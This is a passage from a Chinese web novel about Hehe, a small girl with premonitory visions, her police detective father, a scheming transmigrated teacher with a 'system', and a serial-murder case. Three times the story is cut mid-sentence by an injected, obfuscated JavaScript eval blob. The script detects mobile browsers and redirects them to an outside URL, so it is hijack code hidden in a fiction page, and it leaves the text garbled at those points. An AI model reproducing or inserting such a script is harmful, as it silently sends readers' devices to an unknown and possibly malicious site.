王秀珍性子泼辣,心却是好的。和程国生结婚几十年,她和丈夫一样,一直把刑侦科的这群小年轻当成自己的孩子看。今天下午听说石雅被劫匪当成人质带走,她吓得差点儿晕过去。 倒也不是她胆子小,而是她真的怕了——她的儿子儿媳,还有光城的媳妇儿,都牺牲在了坏人手里。 她经历了太多次白发人送黑发人,心早已经千疮百孔,再也经受不起任何打击。 禾禾打记事起,还是第一次看王秀珍这么生气,担心王秀珍气坏身体,她连忙扯住王秀珍的衣角,一字一句地认真保证:“奶奶别生气,禾禾听话!禾禾让奶奶省心!” 王秀珍抱起禾禾,一屁股坐在石雅对面的空病床上,拧开不锈钢保温桶,轻声乖哄禾禾:“奶奶知道禾禾最乖咯,所以奶奶和小泽给禾禾带了好吃的。” 一提到吃,禾禾的注意力立刻转移,忍不住伸长脖子去看保温桶里装着什么。 程时泽见禾禾一副小馋猫的样子,默默走上前,同样打开自己手里的保温桶:“奶奶做了香菇蒸肉饼和山药猪肚粥,她从接到虞叔的电话以后就开始做了。” 王秀珍自然不肯承认这是专门做给石雅的病号餐,孩子气地瞥了石雅一眼,口是心非道:“奶奶只给禾禾吃,不给别人。” 这个别人指的是谁,不言而喻。 石雅自然清楚王秀珍只是担心她出事,并不是真的生她的气。她嬉笑着凑上去,搂住王秀珍的胳膊耍赖:“嘻嘻,我不管,见者有份,我也要吃师母带的饭!!!” 王秀珍板着脸抽回胳膊,佯装没听到石雅的话,拿小碗给禾禾盛了碗山药猪肚粥,才把剩下的粥连保温桶一起推到石雅手边:“禾禾喝不完,剩下的倒了浪费,便宜你了。” 石雅笑嘻嘻地捧起保温桶,连碗都没用,直接对嘴喝了个精光,发出一声满足的喟叹:“师母的厨艺真是太棒了,小泽和师父真幸福~” 她放下空掉的保温桶,又屈起手指,刮了刮禾禾的鼻尖,顺着王秀珍刚才的话往下说:“谢谢禾禾喝不完,才让我有机会品尝到这么好喝的山药猪肚粥~” 禾禾被逗得直笑,忍不住在王秀珍的怀里扭扭身子:“不用谢禾禾,应该谢奶奶。” 石雅就坡下驴,再次搂住王秀珍的胳膊,摇晃撒娇:“谢谢师母,您别生气了,我保证,下一次绝对不会这么不小心了~” “你还想有下次?!”王秀珍气得直瞪眼。 石雅连忙改口:“没下次,没下次了,我以后一定好好保护自己!” 她偷偷地在心里给王秀珍说了声抱歉:对不起,师母。我只能撒这样一个谎,让你暂时放心。如果人民群众有需要,我还是愿意勇敢地冲在第一线,万死不辞。 王秀珍何尝不知道石雅是在哄她开心。 但她没有再戳穿,只是背过身,无声地叹了口气,取出另一个保温桶里的香菇蒸肉饼,放在禾禾和石雅中间:“吃吧,凉了就不好吃了。” 真是……一群固执的傻孩子啊…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490912|170131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 这时,病房的门突然被人敲响。 “我去开门!” 禾禾抹抹吃得油亮的小嘴,跳下床,蹦蹦跳跳地跑去打开门,看清来人手里的东西,忍不住发出“哇”的一声感叹,“好多糖水哇……” 她的小鹿眼眨都不眨,直勾勾地盯着男人手里的两大袋糖水。 禾禾的反应太可爱,逗得男人忍不住笑了:“小朋友,请问石雅警官是住在这间病房吗?” 她点点头,扭头对病房里的石雅和王秀珍道:“奶奶、雅雅阿姨,外面来了个糖水叔叔,他要找雅雅阿姨!” 石雅在禾禾开门时,已经看清了来人的长相——男人是公安局对面那家糖水铺的老板,今天被她救下的孕妇冯佳琴的丈夫。 “您进来吧。” 石雅冲门口的方向喊了一声。 禾禾闻言,立刻侧过身子,乖乖抵住门,好让对方能顺利进入病房。 男人走进门,将两大袋的各式糖水放在桌子上,局促地搓了搓手:“石警官,今天真的多亏您了。我爱人生了,是个很漂亮的女儿,谢谢您,真的谢谢您……我们两口子实在不知道该怎么感谢您,知道您喜欢喝我家的糖水,我就把所有糖水都准备了一份,您尝尝。” 男人说着说着,鼻头忍不住泛酸,最后噗通跪在病床前,冲石雅哐哐磕头。 石雅连忙下床,跟王秀珍一左一右,将男人从地上搀扶起来:“哎呀,老板,您这是做什么?拯救遇险的市民,这是我的职责,您这样真的是让我不知道该怎么办了。” 男人不想让石雅为难,抹了把眼泪,站直身子,诚恳道:“是,是,对不起石警官,我没有别的意思,只是想谢谢您,您是我爱人和孩子的救命恩人。” 他神情纠结,咬唇许久,才终于说出和妻子商量了一下午的想法:“如果您不嫌弃,不知道您愿不愿意给我们女儿起个名字?” 石雅和糖水铺的夫妇两人打过无数次交道,知道两人都是温和善良的老实人。这对夫妇应该是真的很想感谢她,才想让她给他们的女儿起名字。 她想了想,没有拒绝:“好,我会好好想几个合适的名字。” 男人这才一步三回头地道谢离开了。 石雅望着男人离开的方向,打开一份陈皮红豆沙,绵软冰凉的红豆沙入口的瞬间,她忍不住牵起唇角——果然,她真的很喜欢这份工作带来的成就感。 …… 剩下的糖水,石雅分给值班的护士一部分,其余的都让禾禾、王秀珍和程时泽带回家属院,说是可以分给其他同事。 禾禾一手牵着王秀珍,另一只手牵着程时泽,迎着晚风,蹦蹦跳跳地往家走。 糖水甜丝丝的滋味混着雅雅阿姨还活着的喜悦,在禾禾的心里绕呀绕,绕得她感觉自己全身上下每个毛孔都散发着开心:“雅雅阿姨真棒!禾禾最喜欢雅雅阿姨啦!” 王秀珍当着石雅的面数落她,可现在面对禾禾,同样对石雅赞不绝口:“是是是,谁说女子不如男。放眼整个公安局,小雅比起谁都不逊色!禾禾呀……你也要学习小雅阿姨好的地方,知道吗?” 禾禾鼻腔里发出重重地嗯声:“嗯!” 程时泽听到奶奶和禾禾的对话,眼睑低垂,皎洁的月色笼罩住他晦暗的情绪—— 向雅雅阿姨学习。学什么呢?学她宁愿牺牲自己,也要去救一个萍水相逢的路人?好傻……雅雅阿姨是傻瓜,他的爸爸妈妈是傻瓜,禾禾妈妈也是傻瓜…… 他忍不住鼻头泛酸,偏过头,压住了差点儿夺眶而出的眼泪。 禾禾好半天都没有听到程时泽说话,仰起脸,刚准备问他今天学校有没有发生什么开心的事,她的眼前突然浮现出画面—— 画面里,一个穿红裙子的大姐姐走进一条小巷,突然,暗处蹿出一道黑影,捂住她的口鼻,将她迷晕拖去了小巷更深的黑暗处。 11. 撒谎精 第十一章 就在这时,街边的面馆里走出一个穿红裙子的女人,她踩着一双漆皮红色高跟鞋,鞋跟在洒满月光的地面上发出清脆愉悦的哒哒声,嘴里还哼着香江当红女星车曼的新歌。 禾禾看到女人,不可置信地揉了揉眼睛,仔细盯着女人看了好半天,发现她和画面中遇到危险的大姐姐长得一模一样。 “哈,小朋友,你有什么事吗?” 女人叫边露露,是少年宫的舞蹈老师,笑起来颊边沁出两个甜甜的酒窝,“你都看了我好久啦~” 边露露手里捏着一个油纸袋,里面时不时飘出香喷喷的肉包子味,程时泽还以为禾禾馋肉包子被正主抓包,不由得替她感到难为情。 他默默松开禾禾的小手,拿着为数不多的稿费走进面馆,给禾禾、奶奶和爷爷一人买了个肉包子。 “姐姐你好漂亮呀!” 禾禾的小脑瓜思考好一会儿,终于想到保护漂亮姐姐的办法,“姐姐你家住在哪里呀?禾禾可以和姐姐结伴一起回家嘛?” 她实在长得太可爱,夸起人来又一脸认真,边露露被她直白的夸赞逗得咯咯直笑:“我家住在梧桐街,我和禾禾顺路吗?” 禾禾也不知道到底顺不顺路,只能求助地晃晃王秀珍的手:“奶奶,我们顺路吗?” 王秀珍回忆了一下,对边露露笑道:“我们住在省公安家属院,你要是走大路回梧桐街,咱们刚好可以搭个伴。最近这世道乱得很哟,你一个年轻漂亮的小姑娘家家,还是尽量别走夜路比较好。” 今天早上她还听老伴程国生说,南渡区最近发生了三起连环杀人案,受害者都是年轻漂亮的女孩。虽说南渡区距离他们所在的市区距离挺远,但谁知道凶手会不会流窜过来……万事还是小心为好。 边露露为了省事,之前回家一直走的都是梧桐街背后的小巷,能比走大路快十分钟。 要是放在平时,她肯定不愿意多花十几分钟走大路,但是…… 边露露看着玉雪可爱的禾禾,果断点头答应,笑着展开手掌,递到禾禾面前:“好哇~姐姐和禾禾一起回家,那禾禾可以让姐姐牵你的小手吗?” 禾禾听到边露露肯定的答案,高兴极了,兴奋地举起小手,放在边露露手心里:“当然可以啦!禾禾要让漂亮姐姐牵!” 漂亮姐姐同意和我们一起回家啦~这样的话,她是不是就不会被坏人从小巷子里拖走啦? 禾禾想到自己可以帮漂亮姐姐摆脱危险,心里比吃了大白兔奶糖还要甜。 她一只手牵着王秀珍,另一只手牵的人从程时泽换成了边露露。 程时泽跟在禾禾身后,禾禾蹦蹦跳跳的影子时不时落在他的鞋面上,他气得心里憋闷——哼,虞禾禾真是个小白眼狼,认识了新姐姐就忘了他,早知道不给虞禾禾买肉包子了! …… 四人一路结伴走到梧桐街,在路过小巷口时,边露露说了句“稍等”。 她松开禾禾的小手,走上前,把手中装着肉包子的油纸袋递给蜷缩在墙角睡觉的流浪汉:“抱歉,今天我加班回来晚了,不知道你有没有吃饭,这几个包子给你。” 流浪汉哑着嗓子双手合十道谢,道完谢,才接过油纸袋,一瘸一拐地离开了。 禾禾目送着流浪汉离开,好奇地问:“露露姐姐,你认识他吗?” 边露露温柔地笑笑:“不算认识,只是看他可怜,所以我想尽自己的能力来帮一帮他。” “露露姐姐是大好人!” 禾禾小鹿眼亮晶晶的,冲边露露高高竖起大拇指,“我爸爸说,好人是会有好报的!” 所以,她才能看到露露姐姐被坏人带走的场景!她才能顺利救下露露姐姐! 想到这里,禾禾很骄傲地挺了挺小身子。 …… 虞光城直到第二天早晨八点,才终于回到家属院。 警方在各个码头蹲守了整整一晚上,终于在刚刚抓住了准备偷渡香江的劫匪四人。他终于松了口气,让刑侦二队的警员们负责押送劫匪回局里,自己马不停蹄地赶回家属院,打算亲自送禾禾去上学。 他最近几天实在太忙,连跟女儿坐下吃顿饭的时间都没有,更别提交流感情了。 这样不好。 他打记事起,他的父母一直忙于工作,这也导致他和父母并不亲近。在他违背父母意愿,执意报考警校后,他们之间开始了长达数年的冷战,哪怕后来他和上官婕的结婚,他的父母都没有来参加婚礼。 虞光城没有在父母身上获得健康的亲子关系,因此,他极其重视对禾禾的情感陪伴。 “时泽哥哥!你等等禾禾啦!” 禾禾脆生生的嗓音在楼道里响起。 很快,程时泽和禾禾一前一后走出单元楼,程时泽胸前挂着禾禾的米老鼠书包,背上背着自己的书包,看似走得很快,但一直时不时扭头看禾禾有没有跟上。 虞光城在车里目睹这一场景,哑然失笑,冲两人的方向摁了摁喇叭,降下吉普车车窗:“时泽、禾禾上车,今天我送你们去学校。” 程时泽眼底闪过诧异,脸上却没有什么表情,和往常一样淡淡的:“谢谢虞叔。” 他打开车门,没有先上,等着身后的禾禾过来。 禾禾看到虞光城回来,兴奋地跑上前喊爸爸:“爸爸!爸爸!禾禾昨天晚上喝了山药猪肚粥,吃了香菇蒸肉饼还有时泽哥哥买的大肉包子,肚子都快要撑破啦!” 她一边给虞光城报菜名,一边抬起小短腿,费力地踩住台阶,扭着小屁股往车后座钻。 程时泽看着像蚕宝宝一样翻滚的禾禾,替人尴尬的毛病又犯了。他伸手托住禾禾的胳肢窝,轻松把她托进车里,自己随后登上车,关好车门。 禾禾瘫在车后座里,满脸崇拜地看着程时泽:“时泽哥哥长得真高,禾禾什么时候才能长高高,像时泽哥哥这样轻轻松松上车呀?” 程时泽:“……再过两年就可以。” 这没什么好崇拜的,真的。 虞光城透过后视镜,余光瞥见程时泽被禾禾夸得耳廓通红,轻笑着摇摇头。 时泽这个小大人也会害羞,真有意思~这些小孩,真是太好玩了。 …… 广海第一幼儿园和本部的小学只隔着一条街。 虞光城把车停在街边,带两个孩子走进学校对面的早点铺,点了两笼虾饺和叉烧包,又给他们三人一人点了碗鱼片粥。 禾禾昨晚实在吃得太撑,只能勉强吃进去半个叉烧包。 程时泽不声不响,哪怕有点儿撑,但还是把虞光城分给他的食物统统吃了个干净:“谢谢虞叔,我吃饱了,那我先去学校了。” 看到虞光城眼底的黑眼圈,他抿了下唇,又艰难地补充一句:“您注意休息,工作别太拼。” 虞光城没想到程时泽会突然关心他,端碗的动作愣了一瞬,但很快欣慰地笑了:“好。” 他风卷残云般吃掉剩下的食物,单肩挎起禾禾的米老鼠书包,牵着禾禾去结账。他长得高大英俊,本来就引人注目,现在背着禾禾的小书包,反差感十足,路人忍不住纷纷侧目。 顾漾漾也是此时看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490913|170131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到虞光城的,她硬生生刹住直行的脚步,拐进早点铺,露出毕生最温柔甜美的笑容:“禾禾,好巧,你也在这里吃早点。诶?这位是……” 她佯装才注意到虞光城,故作惊讶。 实际上,她的心里早已惊声尖叫了一万遍——天呐!太帅了!实在长得太帅了!真不愧是她当时在书里第一眼就爱上的男人! 禾禾现在还记得顾漾漾昨天的可怕笑容,下意识躲在了虞光城身后,说话声音小小的:“爸爸,这是我们班的新老师,漾漾老师。” 虞光城注意到禾禾的躲闪,眼神一暗。 禾禾一向大大方方,面对陌生人都从来不畏缩,为什么看到漾漾老师会这么畏惧? 虞光城没有犹豫,直接长臂一捞,抱起躲在他身后的女儿,粗粝的大掌温柔抚摸着禾禾的后脑勺,安抚好禾禾的情绪,他才冲顾漾漾疏离地点点头:“顾老师。” 顾漾漾将父女俩的互动尽收眼底,心里嫉妒的几乎抓狂——这是她的男人!只能对她这么温柔! 她的手指紧紧抓着挎包带子,想到自己用二十斤体重兑换的“巧舌如簧”道具,强迫自己镇定下来,继续扮演贴心好老师:“虞先生,我想和你谈谈禾禾的问题。” “禾禾的问题?” 听到顾漾漾的话,虞光城眉头微凝,禾禾也回过头,懵懵地抬眼望向顾漾漾。 顾漾漾装出一副痛心疾首的模样:“是呢,禾禾她很喜欢撒谎。昨天,她骗来接她的阿姨,说是想请我吃肠粉。等阿姨一走,她又直接抛下我,不知道去哪里玩了……我知道,虞先生你是一个正直的警察,可为什么禾禾……我知道你工作忙,对禾禾疏于管教,如果你愿意,我可以管教她,不让她继续当撒谎精。” 禾禾长这么大,还是第一次被人扣上“撒谎精”的帽子。 她的小脸唰得一下惨白,泪水大颗大颗地往下掉:“爸爸,我……我不是故意的。我,我只是想让雅雅阿姨不要担心我,放心去工作……” 她哭得磕磕绊绊,向虞光城讲述了事情经过。 虞光城越听越心疼,手忙脚乱地替禾禾擦眼泪,温声乖哄着:“禾禾不哭,爸爸知道,禾禾才不是撒谎精。” 哄好禾禾,他再次抬头,看向顾漾漾的眼神中淬起寒冰:“顾老师,禾禾放你鸽子,我作为父亲,愿意替禾禾向你道歉。但你不分青红皂白,用‘撒谎精’来定义禾禾,是不是有点太过分了?请你向我女儿虞禾禾道歉。” 虞光城的话音刚落,系统在顾漾漾的耳边发出尖锐警告。 【警告!警告!男主对宿主的好感降至-50,经主系统检测,男主好感度降至-100,宿主将会被强行遣返回原世界。】 顾漾漾心里一惊。 不要!她才不要回原世界!她不要继续做那个什么都拿不出手的窝囊废! 她心里暗恨,却不得不咬牙低头对禾禾道歉:“对不起,禾禾,老师不该这样说你。” 虞光城阅人无数,自然看出了顾漾漾对禾禾道歉的不情愿,以及……顾漾漾对他的刻意接近示好——这已经不是第一个了。 无论是陈玉珍还是顾漾漾,还是禾禾之前的老师。 她们都像是被人下达了什么任务一样,总会找各种借口来接近他和禾禾。像陈玉珍等人,她们对禾禾没有任何恶意,他还能睁一只眼闭一只眼,假装不知道她们对他的蓄意接近。 可顾漾漾…… 虞光城没有犹豫,几乎立刻作出了决断,抱起禾禾回到吉普车里,温声道:“禾禾,你愿意和时泽哥哥一起上小学吗?” 12. 现场 第十二章 “禾禾,你愿意和时泽哥哥一起上小学吗?” 禾禾还没从被顾漾漾冤枉的委屈里完全抽离,听到虞光城的问题,吸了吸小鼻子,哽咽道:“那禾禾不用上幼儿园了吗?也不用再见到漾漾老师了吗?” 虞光城拿出胸口叠得方方正正的手帕,耐心替禾禾擦干净小脸:“嗯,是爸爸不好,让禾禾受了委屈,爸爸一定会保护好你。” 他既然察觉到顾漾漾的心思,自然不会再给对方任何接近自己的机会。最重要的是,顾漾漾接近他的手段伤害到了禾禾。 他深爱着妻子,从来没有想过另娶他人,更不愿意给禾禾找个后妈委屈她。 虞光城现在想到的最好办法,是让禾禾远离顾漾漾。 禾禾不喜欢顾漾漾,从爸爸口中得知,她以后可以再也不用见到顾漾漾,眼底不自觉地散发出光彩:“我要上一年级!禾禾要当小学生!” 她高兴极了,忘了自己还在车里,噌得一下从座位上站起来。虞光城眼疾手快,连忙举起胳膊挡在车顶,防止她撞到脑袋。 禾禾感受到发顶传来的柔软触感,用脑袋蹭了蹭虞光城的掌心撒娇:“嘻嘻~谢谢爸爸保护禾禾~” 虞光城见禾禾开心,神情随着她的笑容变得柔和下来:“那禾禾最近每天陪爸爸一起上班好不好?” 再过半个多月放暑假,九月份开学又是新学年。虞光城打算先在幼儿园给禾禾请长假,等到九月份,让禾禾直接以一年级新生的身份上小学。 他确信,以禾禾的聪明劲儿,一定能轻松拿下一年级的学习任务。 …… 清晨的公安局,大家投身于各自的案件中,一派忙碌。 刑侦一队的队长殷坤刚刚结束了一整晚的审讯,站在走廊窗户边抽烟,看到虞光城带禾禾过来,立刻摁灭烟头,挥舞着胳膊驱散掉烟味,才走上前:“虞支队,银行抢劫案的劫匪供词放你桌上了。弟兄们累了一晚上,我让他们回去休息一会儿,中午再来。” 殷坤一脸胡子拉碴,眼底乌青。瘦削的脸庞因为身体过度透支,双颊微微凹陷,似乎一阵风都能把他吹倒。 虞光城明白大家实在累狠了,拍了拍殷坤的肩膀:“最近辛苦,晚上我请大家吃大排档。南渡连环杀人案你们一队先放一放,我让二队去跟进。” 南渡连环杀人案格外棘手,查了这些天,愣是一点儿线索没找到,大概率又会成为一桩破不了的悬案。 殷坤巴不得能放下这个担子,现在听虞光城让二队跟案子,喜笑颜开:“得嘞!虞支队,那我先回办公室眯一会儿,有事你喊我!” 他哼着歌走了,进办公室前想起什么,又扭头对虞光城喊道:“你也休息会儿吧!黑眼圈快赶上熊猫了!再这样下去,禾禾下次进动物园,都要抱着熊猫喊爸爸咯!” 虞光城气得嘴角微抽,想爆粗口,但碍着禾禾在场,硬生生忍住了,只能咬牙冲殷坤冷笑:“你不想睡觉可以继续去查案子。” 回应他的,是殷坤忙不迭的关门声。 禾禾望着殷坤办公室紧闭的门,茫然地眨巴眨巴大眼睛,小声嘟囔:“坏叔叔,禾禾又不是笨蛋,才不会抱着熊猫喊爸爸呢!” 她握紧小拳头,心里暗下决心——她决定,今天一整天都不要理坏叔叔! …… 禾禾两条小短腿倒腾得飞快,气鼓鼓地离开走廊,跑进刑侦科办公室。 吕横嘴里还叼着个流沙包,听到禾禾的声音,放下从银行劫匪身上收缴的炸.药,扭头逗禾禾:“哟,是哪个大坏蛋敢在大清早惹我们小福星生气啊?” 昨晚,他才从虞队嘴里知道,禾禾是救下石雅的大功臣! 石雅身上偷偷藏着禾禾送的备用哮喘药,才能在哮喘发作的情况下成功保住性命;也是听了禾禾的话,虞队才在百花村的风信子花圃里找到石雅。 难怪石雅说禾禾是她的小福星。 吕横他们自然不会想到禾禾有预知能力,他们更倾向于禾禾是真的很有福气,能旺身边的人。 禾禾一向不主动接近吕横,倒不是不喜欢吕横,而是因为吕横总喜欢揉乱她的小揪揪!但今天不一样,殷坤成功登顶“大坏蛋排行榜·禾禾版”榜首,吕横暂时“屈居”第二。 她歪头打量吕横,骨碌碌地转了转小鹿眼,很快有了主意。 她扑进吕横怀里,小嘴像是抹了蜜一样甜:“吕横叔叔最好、最喜欢禾禾啦,对不对?” 吕横突然得到禾禾的“宠爱”,一时间“受宠若惊”,嘴里叼的流沙包差点掉到地上。他三两口强行把流沙包塞进嘴里,含糊不清地回应:“当然!我最喜欢禾禾了!” 他这辈子最大的愿望就是——生个禾禾!!! 禾禾指着刑侦一队的办公室方向,气呼呼地告状:“殷叔叔欺负禾禾,吕横叔叔揍他!” 吕横想都没想,干脆地答应下来:“好好好,揍他,揍他。” 孩子只是想让他揍殷坤,又不是要天上的月亮,为什么不能满足她呢? 吕横很轻松地说服了自己,为了增加信用度,还主动提出和禾禾拉钩。 刚拉完钩,虞光城和程国生并肩走进办公室,吕横恢复正色,对两人说:“师父,虞队,劫匪手里的炸.药没有太大的杀伤力,是自制的土炸.药,和四名劫匪的证词一致,这个案子差不多可以结了。” 虞光城点点头:“那就通知一队结案吧。” 银行抢劫案中抓获的四名劫匪,为首的老大是香江人,在香江犯过多起抢劫杀人案,为了躲避香江警方的追捕,半年前偷渡到广海。 局 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490914|170131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里联系了香江警方,香江警方近期会派人来引渡他回香江配合调查。 剩下的三名劫匪都是土生土长的广海人,三人本来就有前科,再加上这次杀死两名押钞人员、伤害数名人质,等待他们的,只有刑场上冰冷的子弹。 三人被押走前,瘦劫匪跟虞光城擦肩而过,笑容阴恻恻地挑衅:“有你女朋友陪着我们仨一起下地狱,老子们赚翻!” 虞光城听到瘦劫匪的话,茫然一瞬,才意识到对方说的“女朋友”是石雅。 他皮笑肉不笑,挥手冲几人告别:“那我真是太难过了。” 他的反应太平淡,完全出乎瘦劫匪的预料。 瘦劫匪挑衅的笑容僵在脸上,翻来覆去想不通,为什么虞光城听他提到“牺牲的女朋友”,一丁点儿过激的反应都没有。 直到几个月后,瘦劫匪三人被押上刑场受死,石雅站在警戒线外,冲他们三人挥手告别,脸上挂着虞光城同款的假笑:“永别了,人渣们。” “啊!!!” 瘦劫匪崩溃大喊,难怪他们还没来得及偷渡香江,就被埋伏在码头的警方抓获——这个臭婆娘压根没死!为什么!这究竟是为什么?!! 回答他的,只有射穿脑门的子弹。 当然,这都是后话了。 …… 此时,禾禾正躺在刑侦科的沙发上看漫画,耳朵却悄悄竖起来,听虞光城向刑侦二队的警员们介绍“南渡连环杀人案”的情况。 “南渡区警力和办案条件有限,所以这个案子移交到我们市局。案件目前的资料,你们可以看一下。” 虞光城将手头现有的案件资料分发给刑侦二队的警员。 “三位受害者都是年轻漂亮的女性,年龄在20—28岁之间,鼻腔内检测出同款迷药成分。 初步可以认定,凶手是在迷晕受害者后,将她们拖去某地,杀害抛尸。受害者身上没有凶手侵犯的痕迹,暂时排除劫色杀人的可能性。 除此之外,三人没有任何共同之处,人际圈目前也没有发现重合迹象。” 刑侦二队的警员们查看完案件资料,不由得仰起脖子长叹—— “天呐!凶手没有在抛尸现场留下任何痕迹,也没有目击证人,这案子怎么查哇!” “凶手完全是随机选择目标吧?总不能登报告诉民众,禁止年轻漂亮的姑娘夜间出门吧?” “没有证人,没有证物,没有第一案发现场,又是‘三无惨案’……” 禾禾耳朵动了动,听到有人提起“第一案发现场”,突然想起昨晚出现的画面——那道黑影迷晕露露姐姐后,把她拖进小巷深处,会不会……那里就是警察阿姨叔叔们寻找的第一案发现场?!! 她吧嗒合上漫画书,从沙发上坐起来,开始思考怎样验证自己的想法。 13. 偶遇 第十三章 虞光城分完案子,才终于有了喘息的工夫。 连轴转了一天一夜,他再也撑不住了,脑袋刚沾上办公室的床,眼皮立刻沉重地压下来,令他失去了意识。 直到焦糖色的夕阳穿透窗户,虞光城才被阳光晃醒。胸口传来沉甸甸的重量,他微微低头,看到禾禾趴在他的胸口上睡得正香,小脸红扑扑,脸上的婴儿肥还随着呼吸轻轻颤动。 他忍不住伸手戳了戳:“禾禾,起床了,爸爸带你去吃大排档,旁边还有你最爱吃的鹅顺斋烧鹅哦。” 禾禾发出梦呓般的嗯声,又在虞光城身上趴了好一会儿,才揉着眼睛坐起来:“烧鹅……禾禾不能吃烧鹅……” 虞光城诧异地挑了下眉,抱着禾禾下床,拿毛巾给她擦了把脸,确定她清醒才问:“不能吃烧鹅?为什么?” “因为禾禾昨天许愿了呀。” 禾禾认真道,“禾禾昨天很认真地许愿,只要雅雅阿姨能平安无事,那禾禾可以一百年都不吃烧鹅!” 说完,她想起酥酥脆脆又香喷喷的烧鹅,没忍住,嘶溜了下口水,差点儿就动摇了。 “禾禾答应过的,不能吃烧鹅,禾禾要做守信用的好孩子!” 她握紧小拳头,努力给自己洗脑。 虞光城回想起禾禾在银行门口双手合十的模样,心下一软:“原来,禾禾昨天是在祈祷这个啊?” 他不相信鬼神,他更愿意把昨天成功救出石雅的功劳,归到禾禾和石雅自己身上。但他也不愿意泼禾禾冷水,只是笑着摸摸她的脑袋,问:“那禾禾有说自己是哪一百年不吃烧鹅吗?” 禾禾不明白爸爸为什么这样问,但还是乖乖摇头:“好像没有诶。” 虞光城眼底闪过狡黠:“这就行了,现在是禾禾的第一个一百年,禾禾可以天天吃烧鹅。等到禾禾过第二个一百年的时候,再履行不吃烧鹅的承诺,怎么样?” 禾禾总觉得有什么地方不太对,但理智最终还是败给了对烧鹅的渴望。 她重重点头:“好!那禾禾听爸爸的!” …… 虞光城既然决定请客,自然不可能只请殷坤的一队,他连同二队和刑侦科一起邀请了。 一队和二队的警员们全员到齐,但刑侦科石雅住院,程国生年纪大了不愿意和小年轻们多掺和,娄晓鸣跑去了香江听演唱会,最后只来了吕横。 张记大排档开在梧桐街上,滋味很不错,屋里屋外都坐得满满当当,远远望过去,食客占领了大半条街。 局里的警员都是张记大排档的常客,一来是他家滋味真的很不错,二来是警员们每次加班到凌晨,周围方圆几公里内,只剩他家大排档还开着。 警员们都戏称,这里是广海市公安局的第二食堂。 大排档的老板张大安远远看见虞光城带人过来,利索地收拾出两张桌子并在一起,熟络地招呼:“虞警官,还是坐老地方?禾禾,听小胖说,你今天没去幼儿园,是生病了吗?” 禾禾不知道该怎么回答,求助地看向虞光城。 虞光城招呼警员们坐下点菜,笑着接过张大安的话:“你也知道,我工作忙,没太多时间照顾禾禾。我就想下学期让禾禾直接读一年级,刚好能跟她哥哥一起上下学。” 张大安闻言,脸上不由得流露出羡慕的神情:“跳级啊?真厉害。我们家小胖光会吃和玩,怎么就不像禾禾一样聪明呢?” 他嘴里说着嫌弃张小胖的话,表情却透出宠溺:“小胖今天还说,他的好朋友禾禾没去幼儿园,他一整天都没劲,哈哈哈……” 说完,他扯着脖子冲二楼喊:“小胖!禾禾来了,你别写作业了,下来找禾禾玩!” 张小胖这会儿正拿学习当借口,偷偷用小霸王学习机玩超级玛丽。听到张大安的喊声,他吓得一哆嗦,还以为自己偷偷打游戏的事被爸爸发现了。 他慌乱地收起小霸王学习机,从窗户上探出脑袋往下看,看到楼下坐在虞光城旁边的禾禾,他的眼睛唰得一下亮了:“虞禾禾!” 他跑下楼,拉出小板凳坐到禾禾旁边,自顾自地聊起来:“禾禾,我用了你送我的香香肥皂,今天琪琪都夸我香喷喷。你明天去幼儿园吗?我给你带我妈做的炸鸡块!” 禾禾凑上去闻了闻张小胖,果然闻不到臭味,只能香香肥皂的味道。 她模仿大人经常夸她的样子,面露欣慰,伸手拍拍张小胖的脑袋:“乖啦,你只要干干净净的,琪琪她们肯定都会喜欢你。不过……爸爸说,我以后不去幼儿园啦,我要去上一年级。” 张小胖前一秒还沉浸在见到禾禾的喜悦里,后一秒,听禾禾说不会再去幼儿园,瘪了瘪嘴,没忍住哇得一声哭出来。 他踢开小板凳,跌跌撞撞地跑到张大安身边,一屁股坐在地上,抱住张大安的腿开始闹腾:“呜哇——爸爸!我也要上一年级,我也要上一年级……” 大排档这会儿生意正好,张大安的炒勺都快抡冒烟了,偏偏张小胖还跑来添乱。他气得火冒三丈,拎起张小胖的衣领,重重地揍了几下他的屁股:“给老子滚回二楼去!” “呜呜呜……” 张小胖哭得鼻涕眼泪糊作一团,捂着打肿的屁股,连滚带爬地回了二楼房间。 …… 殷坤、吕横等人看着这场景,毫无同情心,噗嗤笑出声。 虞光城倒是没笑,低头望向身旁的女儿,欣慰过后,忍不住得意地勾起唇角——果然,这个世界上还是熊孩子多。像他家禾禾一样又可爱又聪明又懂事的宝贝,真是!太少了! 他又给禾禾夹了筷子她喜欢的菜。 禾禾乖乖张嘴,腮帮子撑得鼓鼓囊囊,像是只可爱的小仓鼠。她望着二楼的窗户,正思考要不要去安慰张小胖,眼前突然闪过熟悉的红色身影。 